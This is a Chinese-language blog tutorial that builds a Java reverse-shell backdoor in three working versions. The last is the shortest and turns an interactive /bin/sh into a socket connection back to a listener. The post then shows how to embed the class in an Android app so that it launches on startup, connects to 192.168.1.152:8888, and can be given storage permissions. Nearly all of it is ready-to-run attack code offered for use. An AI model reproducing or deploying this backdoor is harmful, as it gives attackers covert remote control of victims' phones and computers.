JAVA 后门 shell_reverse_tcp 实现

遇到情景是可以在android上安装任意apk,执行apk后有个反弹shell的效果。一般来说直接用msf就可以生成android后门,但不知为何在目标设备上无法正常使用,故决定自己编写一个简单的apk以完成反弹shell。最终实现三个纯JAVA版的shell_reverse_tcp,当然塞进apk也好使。开始自己完成了一个无法完全交互的shell,类似一句话木马那种伪tty。因为思路也是web的思路,执行->取结果字符串->发送结果字符串。后来参考msf的实现,人家是使用线程直接转发了启动shell的输入输出流到反弹的socket的输入输出流,不仅可以获得一个完全交互的shell,还省去了byte流转字符串的操作。这个其实就是和shellcode的思路一样了,类似dup socket的文件描述符到程序的输入输出流中。二者最重要的区别就是执行顺序上,因为自己对线程不熟,没有想到转发的过程其实是持续的,是伴随着我们对后门的操作的。也是因为自己的编程水平还停留面向过程的1234,不容易想到多个实体一起执行的情景,想的总是执行完第一步,然后第二步…最后找到一个单线程死循环获得完全交互shell的写法,通过判断输入流是否可用来进入转发,是目前看到的最短实现。

非真正交互

都是static方法,故使用的时候不需要new一个新的对象。因为是web思路,执行命令完成,读结果字符串,发结果字符串。所以执行流就是最好想的顺序执行,一步步往下走就行了,类似一句话:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.net.Socket;
import java.nio.charset.Charset;

public class Backdoor {
    public static String read_stream(InputStream in){
        try {
            StringBuilder sResultBuilder = new StringBuilder("");
            BufferedReader bufferedReader = new BufferedReader(
                    new InputStreamReader(in, Charset.defaultCharset()));
            String line = bufferedReader.readLine();
            if (line == null) return "";
            sResultBuilder.append(line);
            while (true) {
                line = bufferedReader.readLine();
                if (line == null)  break;
                else sResultBuilder.append('\n'+line);
            }
            return String.valueOf(sResultBuilder);
        }catch (IOException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static String exec_cmd(String cmd){
        try {
            cmd = cmd.replaceAll("\n"," ") + " 2>&1 ;echo \n";
            String[] str = {"/bin/sh","-c",cmd};
            Process p = Runtime.getRuntime().exec(str);
            p.waitFor();
            return read_stream(p.getInputStream());
        }catch (IOException e) {
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        return "";
    }

    public static void reverse_tcp(String ip,int port){
        try {
            Socket       socket   =   new Socket(ip,port);
            InputStream  in       =   socket.getInputStream();
            OutputStream out      =   socket.getOutputStream();
            out.write("[+] getshell\n".getBytes());
            byte[] b = new byte[4096];
            while(true){
                out.write("> ".getBytes());
                out.write(exec_cmd(new String(b,0,in.read(b))).getBytes());
            }
        } catch (IOException e) {
            e.printStackTrace();
        }catch (StringIndexOutOfBoundsException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        reverse_tcp("127.0.0.1",8888);
    }
}

测试用法,本机监听8888端口,然后执行:

➜  javac Backdoor.java && java Backdoor

真正交互

首先想到JAVA自己有没有类似流转发的功能呢?搜索到java io 流重定向标准输入和输出,即JAVA的标准输入输出错误流是可以重定向的,但是没有找到可以重定向任意流的函数。故想到能不能重定向进程的输入输出流之后然后直接execve系统调用把整个进程换成/bin/sh,就完全的shellcode反弹思路。但是看起来java好像不能直接执行系统调用,网上给出的解决办法是写JNI。

所以还是按照msf思路,自己动手写流的转发。看完思路自己默写的时候可犯难了,为啥没有输出呢?调试发现程序卡在了第一个转发那,恍然大悟,人家是转发工作是用线程完成的。所以这种思路就是不是顺序执行啦,而是有几个线程在不停的将反弹的socket的输入输出转发到启动的shell进程的输入输出上,所以这还不太像shellcode,dup文件描述符那么一劳永逸…为了避免拆分文件,最终使用JAVA的内部类完成线程的编写:

后来看:如何利用Java编写反弹工具?,其实整个类都继承自Thread就可以了…

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Backdoor {

    class forward extends Thread{
        private InputStream src;
        private OutputStream dst;

        public forward(InputStream src,OutputStream dst){
            this.src = src; this.dst = dst;
        }
        public void run(){
            try {
                final byte[] buf = new byte[4096];
                int length;
                while ((length = this.src.read(buf)) != -1) {
                    if (this.dst != null) {
                        this.dst.write(buf, 0, length);
                        if (this.src.available() == 0) {
                            this.dst.flush();
                        }
                    }
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public void reverse_tcp(String ip,int port){
        try {
            Socket       socket   =   new Socket(ip,port);
            InputStream  in       =   socket.getInputStream();
            OutputStream out      =   socket.getOutputStream();

            out.write("[+] getshell\n".getBytes());
            String[] str = {"/bin/sh","-i"};

            Process p = Runtime.getRuntime().exec(str);
            new forward(in,p.getOutputStream()).start();
            new forward(p.getInputStream(),out).start();
            new forward(p.getErrorStream(),out).start();
            p.waitFor();
        } catch (IOException e) {
            e.printStackTrace();
        }catch (StringIndexOutOfBoundsException e) {
            e.printStackTrace();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }


   public static void main(String[] args) {
         new Backdoor().reverse_tcp("127.0.0.1",8888);
   }
}

测试用法,本机监听8888端口,然后执行:

➜  javac Backdoor.java && java Backdoor

最短实现

后来又搜到:使用Java反弹shell,因为我不知道流可以判空,所以之前在写类似的死循环的时候就卡死在read里了,所以直接使用一个线程也是可以完成工作的:

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Backdoor {
    public static void reverse_tcp(String ip,int port){
        try {
            String[] str = {"/bin/sh","-i"};
            Process p = Runtime.getRuntime().exec(str);
            InputStream  pin      =   p.getInputStream();
            InputStream  perr     =   p.getErrorStream();
            OutputStream pout     =   p.getOutputStream();

            Socket       socket   =   new Socket(ip,port);
            InputStream  sin      =   socket.getInputStream();
            OutputStream sout     =   socket.getOutputStream();
            sout.write("[+] getshell\n".getBytes());
            
            while(true){
                while(pin.available()>0)  sout.write(pin.read());
                while(perr.available()>0) sout.write(perr.read());
                while(sin.available()>0)  pout.write(sin.read());
                sout.flush();
                pout.flush();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }catch (StringIndexOutOfBoundsException e) {
            e.printStackTrace();
        }
    }
   public static void main(String[] args) {
        reverse_tcp("127.0.0.1",8888);
   }
}

测试用法,本机监听8888端口,然后执行:

➜  javac Backdoor.java && java Backdoor

android中使用

首先给APK加网络权限,千万别忘了

<uses-permission android:name="android.permission.INTERNET"/>

如果想让反弹的shell有权限干更多的事则需要多加权限,比如读写SD卡的权限:

<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

然后将Backdoor这个类拷贝进工程中,并把/bin/sh换成/system/bin/sh,因为Andoid是禁止在主线程中使用网络操作,所以之后在程序目标处起一个新的线程即可:

public class MainActivity extends Activity {

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new Thread(runnable).start();
    }
    Runnable runnable = new Runnable(){
        @Override
        public void run() {
             new Backdoor().reverse_tcp("192.168.1.152",8888);
            //Backdoor.reverse_tcp("192.168.1.152",8888);
        }
    };

编译,安装,运行,即可反弹shell。

其他阅读